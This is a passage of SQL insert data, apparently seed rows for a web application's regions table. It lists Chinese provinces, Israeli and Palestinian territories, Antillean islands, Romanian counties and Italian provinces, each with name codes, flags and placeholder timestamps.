'GAN', '62', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (141, 1, 44, 0, 'Guangdong', 'GUA', '44', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (142, 1, 44, 0, 'Guangxi Zhuang', 'GUZ', '45', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (143, 1, 44, 0, 'Guizhou', 'GUI', '52', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (144, 1, 44, 0, 'Hainan', 'HAI', '46', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (145, 1, 44, 0, 'Hebei', 'HEB', '13', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (146, 1, 44, 0, 'Heilongjiang', 'HEI', '23', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (147, 1, 44, 0, 'Henan', 'HEN', '41', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (148, 1, 44, 0, 'Hubei', 'HUB', '42', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (149, 1, 44, 0, 'Hunan', 'HUN', '43', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (150, 1, 44, 0, 'Jiangsu', 'JIA', '32', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (151, 1, 44, 0, 'Jiangxi', 'JIX', '36', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (152, 1, 44, 0, 'Jilin', 'JIL', '22', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (153, 1, 44, 0, 'Liaoning', 'LIA', '21', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (154, 1, 44, 0, 'Nei Mongol', 'NML', '15', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (155, 1, 44, 0, 'Ningxia Hui', 'NIH', '64', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (156, 1, 44, 0, 'Qinghai', 'QIN', '63', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (157, 1, 44, 0, 'Shandong', 'SNG', '37', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (158, 1, 44, 0, 'Shanghai', 'SHH', '31', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (159, 1, 44, 0, 'Shaanxi', 'SHX', '61', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (160, 1, 44, 0, 'Sichuan', 'SIC', '51', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (161, 1, 44, 0, 'Tianjin', 'TIA', '12', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (162, 1, 44, 0, 'Xinjiang Uygur', 'XIU', '65', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (163, 1, 44, 0, 'Xizang', 'XIZ', '54', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (164, 1, 44, 0, 'Yunnan', 'YUN', '53', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (165, 1, 44, 0, 'Zhejiang', 'ZHE', '33', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (166, 1, 104, 0, 'Israel', 'ISL', 'IL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (167, 1, 104, 0, 'Gaza Strip', 'GZS', 'GZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (168, 1, 104, 0, 'West Bank', 'WBK', 'WB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (169, 1, 151, 0, 'St. Maarten', 'STM', 'SM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (170, 1, 151, 0, 'Bonaire', 'BNR', 'BN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (171, 1, 151, 0, 'Curacao', 'CUR', 'CR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (172, 1, 175, 0, 'Alba', 'ABA', 'AB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (173, 1, 175, 0, 'Arad', 'ARD', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (174, 1, 175, 0, 'Arges', 'ARG', 'AG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (175, 1, 175, 0, 'Bacau', 'BAC', 'BC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (176, 1, 175, 0, 'Bihor', 'BIH', 'BH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (177, 1, 175, 0, 'Bistrita-Nasaud', 'BIS', 'BN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (178, 1, 175, 0, 'Botosani', 'BOT', 'BT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (179, 1, 175, 0, 'Braila', 'BRL', 'BR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (180, 1, 175, 0, 'Brasov', 'BRA', 'BV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (181, 1, 175, 0, 'Bucuresti', 'BUC', 'B', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (182, 1, 175, 0, 'Buzau', 'BUZ', 'BZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (183, 1, 175, 0, 'Calarasi', 'CAL', 'CL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (184, 1, 175, 0, 'Caras Severin', 'CRS', 'CS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (185, 1, 175, 0, 'Cluj', 'CLJ', 'CJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (186, 1, 175, 0, 'Constanta', 'CST', 'CT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (187, 1, 175, 0, 'Covasna', 'COV', 'CV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (188, 1, 175, 0, 'Dambovita', 'DAM', 'DB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (189, 1, 175, 0, 'Dolj', 'DLJ', 'DJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (190, 1, 175, 0, 'Galati', 'GAL', 'GL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (191, 1, 175, 0, 'Giurgiu', 'GIU', 'GR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (192, 1, 175, 0, 'Gorj', 'GOR', 'GJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (193, 1, 175, 0, 'Hargita', 'HRG', 'HR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (194, 1, 175, 0, 'Hunedoara', 'HUN', 'HD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (195, 1, 175, 0, 'Ialomita', 'IAL', 'IL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (196, 1, 175, 0, 'Iasi', 'IAS', 'IS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (197, 1, 175, 0, 'Ilfov', 'ILF', 'IF', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (198, 1, 175, 0, 'Maramures', 'MAR', 'MM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (199, 1, 175, 0, 'Mehedinti', 'MEH', 'MH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (200, 1, 175, 0, 'Mures', 'MUR', 'MS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (201, 1, 175, 0, 'Neamt', 'NEM', 'NT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (202, 1, 175, 0, 'Olt', 'OLT', 'OT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (203, 1, 175, 0, 'Prahova', 'PRA', 'PH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (204, 1, 175, 0, 'Salaj', 'SAL', 'SJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (205, 1, 175, 0, 'Satu Mare', 'SAT', 'SM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (206, 1, 175, 0, 'Sibiu', 'SIB', 'SB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (207, 1, 175, 0, 'Suceava', 'SUC', 'SV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (208, 1, 175, 0, 'Teleorman', 'TEL', 'TR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (209, 1, 175, 0, 'Timis', 'TIM', 'TM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (210, 1, 175, 0, 'Tulcea', 'TUL', 'TL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (211, 1, 175, 0, 'Valcea', 'VAL', 'VL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (212, 1, 175, 0, 'Vaslui', 'VAS', 'VS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (213, 1, 175, 0, 'Vrancea', 'VRA', 'VN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (214, 1, 105, 0, 'Agrigento', 'AGR', 'AG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (215, 1, 105, 0, 'Alessandria', 'ALE', 'AL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (216, 1, 105, 0, 'Ancona', 'ANC', 'AN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (217, 1, 105, 0, 'Aosta', 'AOS', 'AO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (218, 1, 105, 0, 'Arezzo', 'ARE', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (219, 1, 105, 0, 'Ascoli Piceno', 'API', 'AP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (220, 1, 105, 0, 'Asti', 'AST', 'AT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (221, 1, 105, 0, 'Avellino', 'AVE', 'AV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (222, 1, 105, 0, 'Bari', 'BAR', 'BA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (223, 1, 105, 0, 'Belluno', 'BEL', 'BL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (224, 1, 105, 0, 'Benevento', 'BEN', 'BN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (225, 1, 105, 0, 'Bergamo', 'BEG', 'BG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (226, 1, 105, 0, 'Biella', 'BIE', 'BI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (227, 1, 105, 0, 'Bologna', 'BOL', 'BO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (228, 1, 105, 0, 'Bolzano', 'BOZ', 'BZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (229, 1, 105, 0, 'Brescia', 'BRE', 'BS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (230, 1, 105, 0, 'Brindisi', 'BRI', 'BR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (231, 1, 105, 0, 'Cagliari', 'CAG', 'CA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (232, 1, 105, 0, 'Caltanissetta', 'CAL', 'CL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (233, 1, 105, 0, 'Campobasso', 'CBO', 'CB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (234, 1, 105, 0, 'Carbonia-Iglesias', 'CAR', 'CI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (235, 1, 105, 0, 'Caserta', 'CAS', 'CE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (236, 1, 105, 0, 'Catania', 'CAT', 'CT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (237, 1, 105, 0, 'Catanzaro', 'CTZ', 'CZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (238, 1, 105, 0, 'Chieti', 'CHI', 'CH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (239, 1, 105, 0, 'Como', 'COM', 'CO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (240, 1, 105, 0, 'Cosenza', 'COS', 'CS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (241, 1, 105, 0, 'Cremona', 'CRE', 'CR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (242, 1, 105, 0, 'Crotone', 'CRO', 'KR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (243, 1, 105, 0, 'Cuneo', 'CUN', 'CN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (244, 1, 105, 0, 'Enna', 'ENN', 'EN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (245, 1, 105, 0, 'Ferrara', 'FER', 'FE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (246, 1, 105, 0, 'Firenze', 'FIR', 'FI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (247, 1, 105, 0, 'Foggia', 'FOG', 'FG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (248, 1, 105, 0, 'Forli-Cesena', 'FOC', 'FC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (249, 1, 105, 0, 'Frosinone', 'FRO', 'FR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (250, 1, 105, 0, 'Genova', 'GEN', 'GE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (251, 1, 105, 0, 'Gorizia', 'GOR', 'GO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (252, 1, 105, 0, 'Grosseto', 'GRO', 'GR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (253, 1, 105, 0, 'Imperia', 'IMP', 'IM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (254, 1, 105, 0, 'Isernia', 'ISE', 'IS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (255, 1, 105, 0, 'L\'Aquila', 'AQU', 'AQ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (256, 1, 105, 0, 'La Spezia', 'LAS', 'SP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (257, 1, 105, 0, 'Latina', 'LAT', 'LT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (258, 1, 105, 0, 'Lecce', 'LEC', 'LE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (259, 1, 105, 0, 'Lecco', 'LCC', 'LC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (260, 1, 105, 0, 'Livorno', 'LIV', 'LI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (261, 1, 105, 0, 'Lodi', 'LOD', 'LO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (262, 1, 105, 0, 'Lucca', 'LUC', 'LU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (263, 1, 105, 0, 'Macerata', 'MAC', 'MC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (264, 1, 105, 0, 'Mantova', 'MAN', 'MN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (265, 1, 105, 0, 'Massa-Carrara', 'MAS', 'MS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (266, 1, 105, 0, 'Matera', 'MAA', 'MT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (267, 1, 105, 0, 'Medio Campidano', 'MED', 'VS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (268, 1, 105, 0, 'Messina', 'MES', 'ME', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (269, 1, 105, 0, 'Milano', 'MIL', 'MI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (270, 1, 105, 0, 'Modena', 'MOD', 'MO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (271, 1, 105, 0, 'Napoli', 'NAP', 'NA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (272, 1, 105, 0, 'Novara', 'NOV', 'NO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (273, 1, 105, 0, 'Nuoro', 'NUR', 'NU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (274, 1, 105, 0, 'Ogliastra', 'OGL', 'OG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (275, 1, 105, 0, 'Olbia-Tempio', 'OLB', 'OT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (276, 1, 105, 0, 'Oristano', 'ORI', 'OR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (277, 1, 105, 0, 'Padova', 'PDA', 'PD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (278, 1, 105, 0, 'Palermo', 'PAL', 'PA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (279, 1, 105, 0, 'Parma', 'PAA', 'PR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (280, 1, 105, 0, 'Pavia', 'PAV', 'PV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (281, 1, 105, 0, 'Perugia', 'PER', 'PG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (282, 1, 105, 0, 'Pesaro e Urbino', 'PES', 'PU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (283, 1, 105, 0, 'Pescara', 'PSC', 'PE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (284, 1, 105, 0, 'Piacenza', 'PIA', 'PC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (285, 1, 105, 0, 'Pisa', 'PIS', 'PI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (286, 1, 105, 0, 'Pistoia', 'PIT', 'PT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (287, 1, 105, 0, 'Pordenone', 'POR', 'PN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (288, 1, 105, 0, 'Potenza', 'PTZ', 'PZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (289, 1, 105, 0, 'Prato', 'PRA', 'PO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (290, 1, 105, 0, 'Ragusa', 'RAG', 'RG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (291, 1, 105, 0, 'Ravenna', 'RAV', 'RA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (292, 1, 105, 0, 'Reggio Calabria', 'REG', 'RC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (293, 1, 105, 0, 'Reggio Emilia', 'REE', 'RE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (294, 1, 105, 0, 'Rieti', 'RIE', 'RI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (295, 1, 105, 0, 'Rimini', 'RIM', 'RN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (296, 1, 105, 0, 'Roma', 'ROM', 'RM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (297, 1, 105, 0, 'Rovigo', 'ROV', 'RO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (298, 1, 105, 0, 'Salerno', 'SAL', 'SA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (299, 1, 105, 0, 'Sassari', 'SAS', 'SS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (300, 1, 105, 0, 'Savona', 'SAV', 'SV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (301, 1, 105, 0, 'Siena', 'SIE', 'SI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (302, 1, 105, 0, 'Siracusa', 'SIR', 'SR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (303, 1, 105, 0, 'Sondrio', 'SOO', 'SO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (304, 1, 105, 0, 'Taranto', 'TAR', 'TA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (305, 1, 105, 0, 'Teramo', 'TER', 'TE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (306, 1, 105, 0, 